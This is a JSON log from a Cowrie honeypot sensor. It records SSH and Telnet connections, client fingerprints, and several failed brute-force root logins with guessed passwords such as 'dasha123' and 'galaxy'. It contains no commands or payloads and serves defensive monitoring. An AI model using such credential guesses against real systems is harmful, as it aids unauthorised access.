{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":62368,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5d49db26f65","protocol":"ssh","message":"New connection: 38.93.206.2:62368 (10.17.0.5:22) [session: d5d49db26f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:46.698234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:46.702632Z","src_ip":"38.93.206.2","session":"d5d49db26f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:46.753098Z","src_ip":"38.93.206.2","session":"d5d49db26f65","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:46.794123Z","src_ip":"205.210.31.53","session":"de5e2ec934f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dasha123","message":"login attempt [root/dasha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:46.905362Z","src_ip":"38.93.206.2","session":"d5d49db26f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:47.691706Z","src_ip":"205.210.31.53","session":"de5e2ec934f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.733147621154785,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:49.890579Z","src_ip":"50.6.8.71","session":"339aa32acbe7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:49.941697Z","src_ip":"38.93.206.2","session":"d5d49db26f65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:55.796921Z","src_ip":"205.210.31.53","session":"de5e2ec934f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44760,"dst_ip":"10.17.0.5","dst_port":23,"session":"9447d80bf7e5","protocol":"telnet","message":"New connection: 50.6.8.71:44760 (10.17.0.5:23) [session: 9447d80bf7e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:58.327268Z"}
{"eventid":"cowrie.session.closed","duration":42.29832744598389,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:16:59.998159Z","src_ip":"50.6.8.71","session":"56f6e1f24155","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44766,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4710cd4598b","protocol":"telnet","message":"New connection: 50.6.8.71:44766 (10.17.0.5:23) [session: d4710cd4598b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:02.601606Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44774,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8497f00dbfc","protocol":"telnet","message":"New connection: 50.6.8.71:44774 (10.17.0.5:23) [session: d8497f00dbfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:02.871110Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":38080,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bc2d927f1b8","protocol":"ssh","message":"New connection: 103.183.114.55:38080 (10.17.0.5:22) [session: 2bc2d927f1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:09.984555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:09.989192Z","src_ip":"103.183.114.55","session":"2bc2d927f1b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:10.210964Z","src_ip":"103.183.114.55","session":"2bc2d927f1b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"armani","message":"login attempt [root/armani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:10.877451Z","src_ip":"103.183.114.55","session":"2bc2d927f1b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:12.321569Z","src_ip":"103.183.114.55","session":"2bc2d927f1b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":50950,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1bda4b9fc7b","protocol":"ssh","message":"New connection: 94.159.98.239:50950 (159.203.135.109:22) [session: a1bda4b9fc7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:12.443381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:12.478968Z","src_ip":"94.159.98.239","session":"a1bda4b9fc7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:12.587031Z","src_ip":"94.159.98.239","session":"a1bda4b9fc7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbnfkbq","message":"login attempt [root/dbnfkbq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:13.213070Z","src_ip":"94.159.98.239","session":"a1bda4b9fc7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:14.348269Z","src_ip":"94.159.98.239","session":"a1bda4b9fc7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":57600,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7f83063061f","protocol":"telnet","message":"New connection: 50.6.8.71:57600 (10.17.0.5:23) [session: c7f83063061f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:23.502184Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":12672,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d650801fc93","protocol":"ssh","message":"New connection: 193.46.255.86:12672 (10.17.0.5:22) [session: 5d650801fc93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:24.143279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:24.147605Z","src_ip":"193.46.255.86","session":"5d650801fc93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:24.271934Z","src_ip":"193.46.255.86","session":"5d650801fc93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:24.844944Z","src_ip":"193.46.255.86","session":"5d650801fc93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:25.972385Z","src_ip":"193.46.255.86","session":"5d650801fc93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":32866,"dst_ip":"159.203.135.109","dst_port":22,"session":"5af2b46b714c","protocol":"ssh","message":"New connection: 51.250.105.222:32866 (159.203.135.109:22) [session: 5af2b46b714c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:26.528344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:26.536314Z","src_ip":"51.250.105.222","session":"5af2b46b714c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:26.660683Z","src_ip":"51.250.105.222","session":"5af2b46b714c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"galaxy","message":"login attempt [root/galaxy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:27.034618Z","src_ip":"51.250.105.222","session":"5af2b46b714c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:28.161800Z","src_ip":"51.250.105.222","session":"5af2b46b714c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.924163579940796,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:34.251344Z","src_ip":"50.6.8.71","session":"9447d80bf7e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.37471103668213,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:36.976189Z","src_ip":"50.6.8.71","session":"d4710cd4598b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.24350905418396,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:39.114468Z","src_ip":"50.6.8.71","session":"d8497f00dbfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.177.78.181","src_port":54602,"dst_ip":"10.17.0.5","dst_port":23,"session":"f902c07ec755","protocol":"telnet","message":"New connection: 58.177.78.181:54602 (10.17.0.5:23) [session: f902c07ec755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:17:52.185290Z"}
{"eventid":"cowrie.session.closed","duration":47.43040204048157,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:10.932473Z","src_ip":"50.6.8.71","session":"c7f83063061f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":60344,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f9a13bd5847","protocol":"ssh","message":"New connection: 103.173.227.57:60344 (10.17.0.5:22) [session: 1f9a13bd5847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:13.280677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:13.285364Z","src_ip":"103.173.227.57","session":"1f9a13bd5847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37268,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c48eddcf36d","protocol":"telnet","message":"New connection: 50.6.8.71:37268 (10.17.0.5:23) [session: 2c48eddcf36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:13.358475Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:13.527050Z","src_ip":"103.173.227.57","session":"1f9a13bd5847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vepsrf","message":"login attempt [root/vepsrf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:14.240710Z","src_ip":"103.173.227.57","session":"1f9a13bd5847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:15.481539Z","src_ip":"103.173.227.57","session":"1f9a13bd5847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.775264263153076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:22.960463Z","src_ip":"58.177.78.181","session":"f902c07ec755","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48466,"dst_ip":"10.17.0.5","dst_port":23,"session":"5439d74deb0b","protocol":"telnet","message":"New connection: 50.6.8.71:48466 (10.17.0.5:23) [session: 5439d74deb0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:18:23.911365Z"}
